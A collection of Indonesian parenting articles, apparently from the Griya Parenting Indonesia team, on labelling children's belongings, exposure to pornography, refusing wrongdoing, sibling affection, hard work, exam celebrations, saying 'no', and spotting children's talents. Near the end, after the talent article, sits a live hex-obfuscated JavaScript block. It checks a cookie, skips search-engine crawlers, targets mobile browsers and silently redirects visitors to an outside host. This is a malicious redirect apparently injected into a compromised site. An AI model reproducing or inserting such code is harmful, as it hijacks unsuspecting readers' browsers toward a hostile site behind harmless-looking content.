artikel tip dan trik dari team GP

LABEL BARANG

 

Sebagai orang tua pastinya kita selalu menjaga. Proteksi yang dilakukan wali murid bagi anak-anak yang duduk di Playgroup, TK atau SD kelas 1, 2, dan 3, bermacam model. Salah satunya melakukan ritual memberi label pada semua peralatan sekolah mereka. Nama anak-anak kita tertempel jelas di pensil, tas, buku, tempat minum, topi, dan lain-lain.

Pertanyaannya adalah untuk apa ritual di atas selalu kita lakukan? Mungkin kita akan menjawab, supaya barang anak kita tidak tertukar dengan barang milik temannya. Boleh juga bila tertinggal di sekolah, akan mudah dikenali dan kembali kepada pemiliknya.

Pertanyaan selanjutnya adalah, apakah ritual labeling dilatarbelakangi pertimbangan ekonomis belaka? Supaya orang tua berhemat. Karena jika barang anak sering hilang, maka pengeluaran membengkak. Jika direnungkan lebih dalam, adakah manfaat lebih dari sekadar prinsip ekonomi? Bisakah kita mencoba berorientasi pada pribadi anak yang sedang menjalani proses pendidikan?

Sebenarnya banyak nilai yang dapat diperoleh ketika program labelisasi peralatan sekolah kita lakukan. Bahkan ada beberapa karakter yang dapat dibangun pada diri anak. Di antara nilai dan karakter tersebut adalah:

  1. Membangun tanggung jawab kepemilikin barang. Seringkali kita membelikan peralatan sekolah anak atau beberapa mainan yang mereka minta. Tetapi dengan cepatnya barang-barang tersebut hilang karena tertinggal atau tertukar dengan milik temannya. Selanjutnya saat memerlukan peralatan itu, dengan entengnya anak-anak minta dibelikan lagi. Anak-anak memang berhak meminta peralatan yang ia butuhkan. Tetapi ia juga harus bertanggungjawab menjaganya. Program labelisasi barang dapat membantu anak mengidentifikasi bahwa barang ini miliknya. Memintanya agar membiasakan menyimpan barangnya dengan baik. Jika tercecer tidak pada tempatnya segera meletakkan di tempatnya. Dan dengan labelisasi seperti ini insya Allah lebih mudah mengembalikan barang jika ditemukan oleh orang lain.
  2. Menghormati barang milik orang lain. Beberapa anak menggunakan pulpen milik kakaknya tanpa izin. Dan kakak pun tidak marah atas perilaku adiknya. Apa yang akan terbangun pada diri anak jika peristiwa ini berulangkali terjadi? Anak dapat berpendapat bahwa menggunakan barang orang lain tanpa izin boleh asalkan tidak sedang digunakan oleh pemiliknya. Bagaimana jika pendapat ini dipraktekkan oleh anak di sekolah? Suatu ketika ia menemukan pulpen yang tergeletak di atas meja. Lalu ia memakainya untuk menulis. Lantas, tiba-tiba pemiliknya menegur bahwa ia telah mengambil tanpa izin. Kejadian seperti ini mengharuskan kita memerhatikan bagaimana anak-anak menghormati barang milik orang lain dengan cara meminta izin untuk menggunakannya. Memberi label pada barang anak akan membantu membantu proses menghormati barang milik orang lain. Tentunya orang tua harus menjadi contoh untuk selalu meminta izin saat menggunakan barang milik anaknya.
  3. Membangun disiplin anak. Saat anak terbiasa untuk menjaga, merawat barangnya serta mengembalikan pada tempatnya maka akan terbangun juga karakter disiplin. Orang tua patut mengingatkan anak dengan baik jika barang-barangya tercecer atau tidak pada tempatnya.

Jika ada dua orang membeli masing-masing smartphone yang sama merknya. Satu orang menggunakan smartphone tersebut hanya untuk sms dan telpon, sementara satunya dapat menggunakannya untuk berbagai kepentingan seperti telpon, sms, internet, game dan lain-lain. Apa yang membedakan antara keduanya? Pengetahuan dan keterampilan dari keduanya akan fitur pada smartphone tersebut yang membedakan.

Dengan tulisan ini semoga pengetahuan dan keterampilan kita akan fitur label barang anak semakin beragam dan manfaatpun semakin banyak.

 

SENGAJA “NEMU”

Oleh: Miftahul Jinan

Ada satu pengalaman semasa kecil yang saya dan teman-teman senangi yaitu “nemu”. Nemu adalah menemukan benda untuk kami miliki. Tentunya bukan barang berharga atau uang. Kami hidup di pelosok desa. Kami sering ‘nemu’ buah-buahan yang jatuh dari pohonnya. Kami memungutnya saat pagi hari. Buah-buah yang sudah masak itu jatuh begitu saja. Sebagian lainnya jatuh berhias gigitan kelelawar pada malam harinya.

Karena seringnya ‘nemu’ buah-buahan itu, maka kami menjadi tahu kebiasaannya. Pagi buta kami sengaja bangun tidur bergegas berangkat ke masjid untuk shalat shubuh. Sepanjang perjalanan kami biasa mengamati tiap pohon yang berbuah. Harapannya adalah ‘nemu’ buah-buahan. Tanpa komando kami pun berlomba saling mendahului. Berpacu. Para pemilik pohon nampaknya sudah rela dengan apa yang kami lakukan. Karena kami dibiarkan ‘nemu’ buah-buahan dari pohon-pohon mereka.

Apakah anak-anak sekarang juga mengalami peristiwa ‘nemu’ seperti kami dahulu? Jawaban saya, “Ya”. Mereka temukan sesuatu yang lain. Bukan buah-buahan seperti kami dahulu. Naudzubillah, pengalaman ‘nemu’ itu terjadi pada tayangan, gambar, dan adegan dengan konten porno. Ibu Elly Risman berkata, “Delapan puluh persen anak-anak sekarang mengetahui perihal pornografi tanpa sengaja (nemu)”.

Dahulu kami begitu mudah ‘nemu’ buah-buahan, karena begitu banyak tetangga kami yang memiliki pohon buah-buahan. Astaghfirullah, kini anak-anak kita begitu mudah menjumpai tayangan, gambar, dan adegan dengan materi porno. Mereka dengan gampangnya mendapat informasi lewat televisi, radio, HP, internet, video CD, film, dan lain-lain.

Saya masih ingat, seorang ibu mendatangi meja kami seusai seminar dengan mata berkaca-kaca. Ia mengisahkan putri kecilnya beberapa hari yang lalu tanpa sengaja melihat adegan yang tidak layak ditonton. Handphone milik pamannya itu tak disangka tersimpan materi asusila. Ada pula seorang guru SD yang menjumpai sekelompok siswanya tertawa cekikikan. Ternayata usut punya usut mereka sedang melihat gambar wanita tanpa busana. Na’udzubillah.

Kami dahulu ‘nemu’ buah-buahan halal, lalu kami makan bersama-sama dan menyehatkan tubuh kami. Tapi, hari ini anak-anak kami ‘nemu’ dan melahap konten porno yang berakibat buruk dan menghancurkan mereka. Kita kenali beberapa bahaya akibat mengkonsumsi materi porno. Berikut catatannya:

  1. Kerusakan otak secara permanen terutama pada fungsi otak untuk merencanakan, mengendalikan emosi, mengambil keputusan, dan berpikir kritis.
  2. Pornografi juga mendorong anak mengalami kecanduan, sehingga orientasi hidup anak hanyalah kepada aspek seksual dan pornografi. Kita dapat melihat bagaimana pola pacaran anak-anak sekarang yang sangat mengerikan.
  3. Ponografi telah mengubah paradigma di masyarakat bahwa hubungan seksual sebelum menikah boleh. Padahal syariatnya sudah jelas bahwa hubungan seperti itu adalah zina.

Akhir-akhir ini kita sering mendengar dan membaca dari mass media perilaku seks yang menyimpang pada masyarakat. Dilakukan tidak selalu dari orang dewasa yang masih aktif secara fisik, tetapi dari seorang kakek atau bahkan dari seorang anak yang belum masuk masa akil baligh. Tidak ada wilayah yang aman bagi anak-anak kita bahkan bagi putra-putri kecil kita dari serangan perilaku seks yang menyimpang tersebut. Mungkin anak-anak kita jadi korbannya atau sebaliknya mereka menjadi pelakunya. Naudzubillah.

Pornografi saat ini telah menjadi tsunami besar yang mampu menenggelamkan setiap tonggak-tonggak generasi muda kita. Tanpa kita mampu berbuat banyak untuk menyelamatkan mereka dari terjangannya. Ya Allah, di wilayah mana di bumi-Mu ini kami dapat menyembunyikan generasi-generasi kami untuk kami didik tentang agama-Mu. Hingga suatu saat mereka telah siap untuk menghadapi terjangan tsunami pornografi ini. Mampukan kami membekali mereka dengan benih Iman dan Islam. Hanya Engkau tempat kami berserah.

 

BERKATA “TIDAK” UNTUK KEMUNGKARAN

Ayah bunda, suatu hari anak kita yang masih SMP diajak tiga teman karibnya untuk menonton tayangan film yang kurang baik. Dapatkah kita memastikan bahwa ia akan menolak ajakan tersebut? Bersyukurlah jika ayah bunda yakin bahwa anak kita akan menolaknya. Tetapi bagi mereka yang masih ragu menjawabnya, tampaknya perlu kerja keras dalam mendidiknya. Setahap demi setahap ananda menjadi lebih baik. Dan pada akhirnya ia berani menolak ajakan ‘miring’ tersebut.

Karakteristik kemunkaran yang dihadapi putra-putri kita sangatlah berbeda dibanding model kemaksiatan masa lalu. Dahulu istilah pornografi, minuman keras, apalagi narkoba adalah hal-hal yang sangat abstrak ditelinga. Sehingga sangat jaranglah kita mendekati hal-hal tersebut apalagi terjerumus ke dalamnya. Kenakalan yang sering dilakukan adalah mencuri buah tetangga atau mengambil beberapa batang tebu milik perkebunan.

Tetapi hari ini kata pornografi, minuman keras, atau bahkan narkoba terasa amat dekat dengan dunia anak-anak kita. Mereka begitu mudah mengakses atau secara tidak sengaja menjumpai pornografi, minuman keras dan bahkan narkoba di sekitar mereka. Kenyataan ini adalah ‘tantangan berat’ bagi orang tua di dalam mendidik anak-anak.

Idealnya anak-anak kita tegas menolak kemunkaran seperti di atas. Dan ini adalah buah pendidikan ayah bunda sesuai dengan sabda Rasulullah shallallaahu ‘alaihi wa sallam.

Dari Abu Said al-Khudri, dia berkata, “Aku mendengar Rasulullah bresabda, “Siapa diantara kalian melihat kemungkaran, hendaklah dia mengubahnya (mencegahnya) dengan tangannya (kekuasannya), jika dia tidak sanggup, maka dengan lisannya (menasihatinya), dan jika tidak sanggup juga, maka dengan hatinya (merasa tidak senang dan tidak setuju), dan demikian itu adalah selemah-lemah iman”. (HR Muslim)

Beberapa langkah berikut ini insya Allah dapat membantu anak-anak kita yakin menolak ajakan temannya melakukan kemunkaran.

  1. Untuk menolak kemunkaran, anak-anak mesti punya bekal pengetahuan yang cukup tentang perilaku yang baik dan buruk. Pengetahuan tersebut sebagai perangkat lunak yang mampu membedakan mana yang seharusnya dilakukan atau ditinggalkan.
  2. Pengetahuan yang memadai tidak serta-merta menjadikan seseorang mempunyai kekuatan menolak kemunkaran. Ia perlu terlatih di kehidupan nyata bagaimana menolak kemunkaran. Disinilah peran keluarga dengan memberi contoh di dalam menolak kemunkaran-kemunkaran kecil di rumah tangga. Misalnya tegas mengalihkan channel televisi jika muncul tayangan yang kurang baik.
  3. Memberi dukungan bagi anak untuk berani menolak kemunkaran dengan penghargaan dan motivasi bahwa ia telah membuat keputusan yang benar. Dukungan ini dapat mendorong tumbuh suburnya kekuatan cinta kebaikan karena mengikuti bimbingan Rasulullah shallallaahu ‘alaihi wa sallam.
  4. Beberapa anak merasa berat saat ia harus menolak kemunkaran karena tidak mempunyai keterampilan membuat keputusan. Orang tua dapat melatihnya ketika anak dihadapkan sejumlah pilihan. Berikan kesempatan untuk menentukan sikap dengan keputusan-keputusan kecil di dalam aktivitasnya.
  5. Menolak ajakan teman bagi seorang remaja adalah peristiwa besar yang sering bertentangan dengan keinginan hatinya. Orang tua perlu membantu putranya di dalam memilih kata-kata bijak saat menolak ajakan kemunkaran dari temannya.

 

Membagi Kasih Sayang atau Mengalikannya

Oleh: Miftahul Jinan, Direktur Griya Parenting Indonesia

Seorang remaja putri memperhatikan seorang ibu yang sedang mendampingi kelima anaknya untuk bermain di taman. Ia sangat takjub melihat keakraban mereka, kemudian ia mendatangi ibu tersebut seraya berkata, “Bagaimana mungkin ibu dapat membagi kasih sayang ibu kepada kelima putra-putri ibu? Ibu tersebut menjawab, “Saya tidak sedang membagi kasih sayang saya kepada mereka, tetapi saya selalu mengalikannya.”

Jawaban ibu di atas memang terasa begitu klise, tetapi dalam kehidupan nyata kita justru lebih mudah mendapatkannya. Seorang ibu dengan kelima, keenam, bahkan kedelapan anaknya, tulus memberikan perhatian yang penuh kepada mereka. Memberi kesempatan kepada mereka untuk mengeksplorasi lingkungan sekelilingnya, dan menerima setiap kegagalan putra-putrinya dengan berempati kepada mereka.

Sang ibu dipenuhi kelembutan saat memberi tanggung jawab sesuai dengan umur dan kapasitas anak-anak. Ia pun tegas dalam menegakkan aturan yang jelas. Ia pun setia membimbing mereka dalam suka dan duka. Ia persiapkan kader terdidik dengan sentuhan reward dan punishment yang tepat saat mereka menaati atau melanggarnya.

Sosok ibu yang kurma – kesukaan – miliknya rela ia berikan kepada anak-anaknya yang masih terlihat sangat menginginkannya. Ia adalah ibu yang saat sujud malamnya selalu mengalir do’a bagi kebaikan anak-anaknya. Dan beliaulah sang ibunda yang menjadi kebanggaan bagi setiap anaknya karena teladan terbaiknya.

Maka lihatlah anak-anak yang terbimbing dari ibu dengan perwajahan seperti ini. Mereka adalah anak-anak yang berkembang kepribadiannya, mempunyai rasa cinta kepada diri dan ibunya. Kemudian ia menyebarkan cintanya kepada saudara-saudara yang lain. Dengan penuh ketulusan membimbing adik-adiknya untuk belajar. Kehidupan mereka saling memberi perhatian dan rela menopang kegagalan di antara saudaranya. Bukankah fenomena ini wujud mengalikan kasih sayang?.

Ibarat kasih sayang ibu ada 10 kemudian ia bagi untuk lima anaknya, masing-masih anak kemudian memberikan kasih sayang kepada saudara-saudaranya yang lain. Subhanallah berapa kasih sayang yang diterima oleh seorang anak dari ibunya dan dari saudara-saudaranya.

Sebaliknya seorang ibu yang hanya punya satu atau dua anak, ia memberikan kasih sayang dengan penuh kepada anaknya. Membantu setiap kebutuhan mereka. Tidak rela jika anaknya mencoba-coba untuk membantunya. Mungkin ia merasa kehadirannya malah mengganggu. Biarlah ia fokus saja pada belajar. Toh mama bisa melakukannya sendiri. Dalam benakya membatin, “Bagaimana nanti kalau jatuh atau rusak?”. Yang diinginkan adalah anaknya selalu berhasil. Sayang, tidak dibarengi dengan kesiapan menerima kegagalan putranya. Selalu menerima permintaan anak daripada menolaknya.

Mungkin kasih sayang ibu ini hanya dibagi kepada satu atau dua anaknya, tetapi kasih sayang tersebut habis diserap oleh mereka. Itu terjadi karena kurangnya kemandirian dan rasa empati kepada ibunya. Ingatlah!. Kasih sayang yang tidak pada tempatnya, perhatian yang berlebihan, tidak memberi tanggung jawab pada anak justru akan membangun anak yang kurang mandiri, minder, egois, dan kurang empati.

Tidak heran ada seorang ibu yang pernah berkata di depan saya, “Mengapa anak saya hanya satu, tetapi waktu saya habis bahkan kurang untuk mengurus satu anak ini saja. Sementara ibu saya dahulu mempunyai 9 anak, tetapi beliau mempunyai banyak waktu untuk mengikuti kegiatan-kegiatan dakwah dan sosial.”

Anak-Anak dan Kerja Keras

 

 Saya menjumpai beberapa anak muda yang melakukan aktivitasnya dengan penuh antusias, semangat dan kerja keras. Baik aktivitas tersebut berkaitan dengan kepentingannya maupun aktivitas sosial yang tidak berhubungan sama sekali dengan kepentingan dirinya.

Sebaliknya saya juga menjumpai beberapa anak muda yang tidak mampunyai gairah di dalam mengerjakan sesuatu dan tidak pernah mau bekerja keras. Baik aktivitas tersebut berkaitan dengan kepentingan dirinya apalagi aktivitas yang tidak berkaitan dengan kepentingannya.

Ada sejumlah fenomena yang dapat kita lihat, dengar dan rasakan dalam rangka menapaktilasi mengapa seorang pemuda wajahnya penuh semangat, bergairah dan rela bekerja keras? Kemudian sebaliknya, mengapa banyak pemuda lainnya ekspresinya kuyu, tanpa gairah dan sikapnya malas bekerja keras? Di antara beberapa fenomena tersebut adalah:

  1. Kesadaran arti kerja keras. Hal ini dialami sejumlah pemuda yang pada masa kecilnya permintaan mereka selalu dituruti. Selain itu, anak-anak yang begitu mudahnya mendapatkan apa yang diinginkan tentu akan sulit memahami arti kerja keras. Apalagi anak yang tidak dididik kemandirian oleh orang tuanya karena alasan tidak tega, anak tunggal, kasihan dan lain lain. Ia tidak mempunyai cukup pengalaman dalam bekerja keras dan akhirnya ia sulit untuk melakukannya. Sebaliknya anak-anak yang mendapatkan pengalaman, bahwa beberapa hal yang ia inginkan harus melewati perjuangan maka ia akan menyadari arti kerja keras. Di sinilah orang tua mempunyai peranan yang penting di dalam menghadirkan tantangan bagi anak sehingga ia cukup terpacu untuk melakukan.
  2. Membangun motif pada aktivitas anak. Beberapa orang mampu membangun makna atau motif bagi kegiatan yang dilakukan anak-anak. Seperti seorang anak yang diminta oleh orang tuanya untuk memberi makanan hewan peliharaan keluarga. Ayah bunda menjelaskan bahwa banyak para Nabi adalah penggembala. Jiwa leadershipnya terasah dengan aktivitas gembalanya. Insya Allah anak-anak kita akan terbiasa membangun makna yang tinggi dalam setiap kegiatan yang dikerjakan.
  3. Teladan dari orang tua. Dari orang tua yang terbiasa berjuang keras untuk mendapatkan keinginan dan cita-cita akan tumbuh anak-anak yang juga mempunyai sikap kerja keras. Sebaliknya orang tua yang sering melakukan hal-hal instan untuk mendapatkan keinginannya juga akan tumbuh anak-anak yang memilih kegiatan-kegiatan instan. Indra Syafri pelatih Timnas U-19 berkunjung ke pelosok negeri untuk mendapatkan anak-anak yang  berbakat. Dan salah satu parameter penting di dalam memilih pemain adalah riwayat hidup orang tuanya. Beliau mempunyai keyakinan bahwa dari orang tua yang memiliki karakter yang kuat akan selalu tumbuh anak-anak dengan karakter yang kuat juga. Karakter memang tidak dapat diturunkan tetapi anak-anak akan selalu meniru perilaku orang tua. Inilah yang dinamakan bahwa karakter diwariskan.

Anak yang tangguh punya sikap hidup suka tantangan dan rela bekerja keras. Sedangkan anak yang tidak mandiri profilnya gampang menyerah enggan bekerja keras. Maka, pilihan bagi ayah bunda adalah apakah mau sekuat tenaga dan pikiran mendorong mereka tumbuh menjadi anak yang tangguh?. Atau ayah bunda lebih enjoy dengan melepaskan keturunan kita berpenampilan malas tidak suka bekerja keras?. Mari kita memilih yang terbaik untuk anak-anak kita.

 

Selebrasi Unas Bikin Cemas

Oleh: Miftahul Jinan, M.Pd.I, Direktur Griya Parenting Indonesia

Bagi kita para penggemar sepakbola apalagi fans berat club Barcelona sangat mengenal dengan Carles Puyol. Pemain senior Barca berambut kriwil dan sering menempati posisi center back di timnya.

Ada alasan mengapa tulisan ini melibatkan pemain tersebut. Pada laga Barcelona melawan Rayo Vallecano di markas Vallecano pada menit 77 gelandang muda Barca yang bernama Thiago Alcantara berhasil menjebol gawang Rayo. Pemain muda ini melakukan selebrasi gol bersama Dani Alves dengan berdansa “Tchu Tacha Tcha”. Aksi dua pemain tersebut mengundang sorakan para pendukung tuan rumah. Sesaat kemudian Puyol menghampiri mereka dan meminta keduanya menghentikan tarian. Dari raut wajahnya, bek senior itu terlihat marah dan kurang menyukai selebrasi gol tersebut.

Apa yang dilakukan oleh kedua pemain Barca di atas sangat sering dan wajar terjadi di dunia sepakbola, tetapi Puyol memandang bahwa apa yang dilakukan oleh kedua rekan timnya telah membuat pendukung tim lawan kurang nyaman dan berlebihan. Sehingga ia segera menghentikan tarian tersebut. Kita memang harus mengalahkan lawan, tetapi jangan sampai menghinanya.

Sebentar lagi anak-anak kita yang duduk di kelas akhir pada jenjang SMU, SMP dan SD akan segera mendapatkan hasil UNASnya. Mayoritas dari mereka memang akan lulus, tetapi ada sebagian yang lain harus menerima kenyataan tidak lulus. Sebagaimana seorang pemain sepakbola yang baru saja menjebol gawang lawan, maka ia akan melakukan selebrasi. Dan lihatlah aksi mereka yang mengetahui kelulusan ujiannya, ada selebrasi. Sebuah perayaan atas hasil kerja keras mereka.

Kita dapat mengambil pelajaran dari sikap sportif Carles Puyol untuk anak-anak kita. Bolehlah mereka melakukan selebrasi atas kelulusannya. Tetapi hindarilah selebrasi yang berlebihan dan mengganggu kenyamanan orang lain. Karena di samping kita ada sebagian anak yang belum ditakdirkan oleh Allah untuk lulus.

Apalagi sebagai orang Islam, mereka seharusnya sudah mengetahui bagaimana seorang muslim mensyukuri atas ni’mat yang mereka peroleh. Mengucapkan alhamdulillah, melakukan sujud syukur, berterima kasih kepada orang-orang yang berjasa, dan melakukan kebaikan atas ni’mat yang telah ia peroleh. Selebrasi Unas Bikin Cemas para orang tua hendaknya tak lagi dilakukan.

Selamat mempersiapkan anak untuk bijak di dalam melakukan selebrasi kelulusan mereka.

Kontroversi Berkata Tidak, Jangan, dalam Mengasuh Anak

Oleh: Miftahul Jinan, Penulis dan Master Trainer pada  Griya Parenting Indonesia

Kontroversi Berkata Tidak, Jangan, dalam Mengasuh Anak. Saya kurang mengerti mengapa beberapa ahli tidak menyarankan untuk sering menggunakan kata “jangan, tidak boleh, dilarang” dan kata-kata negatif lainnya. Mereka mempunyai banyak alasan pada penggunaan kata-kata tersebut, di antara yang menarik saya adalah bahwa otak manusia selalu menerima kata-kata negatif tersebut sebagai kata-kata positif. Seperti seseorang yang berkata kepada kita, “Jangan memikirkan gajah yang berwarna kuning”. Maka otak kita secara otomatis justru terdorong untuk memikirkan gajah yang berwarna kuning. Berarti jika kita seorang guru atau orang tua, kemudian kita berkata kepada anak didik kita, “Jangan terlambat ke sekolah”, maka otak anak justru memikirkan terlambat ke sekolah.

Namun apakah hanya dengan alasan di atas lalu kita didorong untuk selalu menghindarkan diri dari perkataan “tidak”. Suatu hari saya memotong kuku jari tangan saya. Secara tidak sengaja (habit jelek saya) saya membuangnya di bawah meja. Toh potongan kuku-kuku tersebut terlalu kecil dibandingkan luas lantai rumah saya. Tiba-tiba istri saya berkata,”Bi… jangan membuang kotoran di sembarang tempat”. Saya terkejut dan kurang nyaman dengan perkataan tersebut, walaupun perbuatan saya memang layak untuk dikomentari dengan kata-kata tersebut. Mengapa istri saya tidak menggunakan kata-kata yang lebih baik seperti, “Bi, disana tempat sampahnya” atau “Bi, di mana tempat sampahnya”. Saya tersadar bahwa setiap orang termasuk anak-anak kita lebih nyaman jika diberi alasan atau pertanyaan atas perilakunya daripada diberi kata “jangan, tidak, atau dilarang” tanpa alasan yang menyertainya.

Ada pertanyaan yang masih mengganjal pada benak saya, lalu untuk apa keberadaan kata-kata “tidak boleh, dilarang, jangan” di dalam bahasa kita jika pada akhirnya kita tidak diperkenankan untuk menggunakannya? Astaghfirullah, saya telah salah memahami bahwa menghindari kata-kata “jangan, tidak boleh, dilarang” tidak berarti meniadakannya dalam kehidupan kita. Justru dengan bersikap hati-hati dan menempatkannya hanya pada peristiwa-peristiwa yang darurat dan sangat urgen, maka kita telah mengajari anak untuk membedakan   mana yang sangat penting, penting dan tidak penting. Saat anak kita sedang bermain stop contact listrik, maka inilah saatnya kita berkata tidak. Saat anak melakukan hal yang jelas-jelas melanggar syariat, maka inilah waktunya mengatakan dilarang.

Tampaknya kita harus menyadari betapa seringnya kita mengatakan “jangan, tidak, dilarang” pada peristiwa-peristiwa yang sebenarnya tidak terlalu darurat dan urgen untuk mengatakannya. Sehingga anak-anak kita merasa bingung manakah hal-hal yang penting yang wajib aku tinggalkan, manakah hal-hal yang perlu aku jauhi, dan manakah hal-hal yang bisa aku hindari. semoga penjelasan diatas menyudahi Kontroversi Berkata Tidak, Jangan, dalam Mengasuh Anak.

Medeteksi Bakat Anak Sejak Dini

Oleh : Ani Ch, penulis buku & pemerhati pendidikan keluarga

Pernah nonton film Garuda di Dadaku? Film tersebut cukup asyik untuk ditonton, motivasi untuk para orang tua agar mendukung bakat anaknya.

Bayu suka sepak bola. Bola adalah ‘<em>passion</em>’nya. Tapi sang kakek tidak melihat bola sebagai masa depannya. Si Kakek ngotot memasukkan Bayu di tempat kursus matematika dan juga dipaksa ke sanggar lukis. Matematika mudah buat Bayu, tetapi melukis sama sekali bukan bakatnya. Lalu berbgai macam cerita dramatis terjadi yg berujung pengakuan kakek akan bakat bola Bayu, dan akhirnya Si Kakek akhirnya mendukungnya karena sebenarnya sudah jelas tanda-tanda bakat Si Bayu.

Nah, buat ayah atau bunda yang merasa pasangannya kurang mendukung bakat si anak, cobalah nonton film ini.

Beberapa orangtua bertanya, lalu bagaimana kita bisa yakin kalo itu bakat anak? Dalam kasus Bayu di atas bisa aja Bayu cuma pengen bermainnya, untuk menghindari matematika yg berat pdahal hasil psikotes menunjukkan bakat logis matematisnya bgtu tinggi, atau malah orang tua nggak bisa meliat mana bakat anaknya, karena tiap hari isinya kok malas.

Berikut ini bebrapa poin untuk mengenali dan Medeteksi Bakat Anak Sejak Dini dari Prof.Dr. Utami Munandar.

Anak kita akan menunjukkan bakat tertentu jika
<ul>
<li>Anak tidak merasa terpaksa. Anak sangat senang melakukannya dan ada rasa bahagia terpancar. Misal, matanya berbinar-binar jika berbicara soal hal yang dilakukannya</li>
<li>Anak mampu berkonsentrasi &amp; cenderung tekun melakukannya. Anak yg bakat nge dance bisa berjam-jam menari tanpa merasa lelah</li>
<li>Anak punya rasa ingin tahu yang besar. Misal, anak bisa berjam-jam baca majalah tentang pesawat, bisa jadi dia bakat aerodinamika</li>
<li>Anak nampak mahir terhadap hal tersebut walaupun belum mendapatkan pelajaran khusus. Bayu di film Garuda di Dadaku adalah contohnya, sangat lihai menggiring bola</li>
<li>Setelah diberi pelajaran khusus, anak dapat dengan mudah menguasai</li>
</ul>
Namun jika anak malas beraktivitas, seperti tidak memiliki bakat bagaimana?

Tidak ada anak tidak berbakat, itu hanya belum nampak saja, jika kondisinya seperti itu, maka orang tua tidak perlu meluncurkan program pengembangan bakat seriuslah dulu membenahi sikap,kemandirian dan tanggung jawab anak dalam aktivitas hariannya dengan. Dengan mengurus hal tersebut, motivasi akan terbangun dan bakat baru bisa digali.

Lalu apa yang perlu dilakukan ortu untuk mengasah bakat dan Medeteksi Bakat Anak Sejak Dini?
<ul>
<li>Memberi motivasi agar anak percaya diri</li>
<li>Memberi wawasan yg luas</li>
<li>Memfasilitasi latihan bakat</li>
<li>Menyediakan sarana penunjang pengembangan bakat</li>
<li>Membangun kerja sama dg sekolah atau pihak lain</li>
<li>Mengenalkan pada tokoh sukses di bidang tersebut</li>
</ul>
&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Menegur dengan Hati Nurani

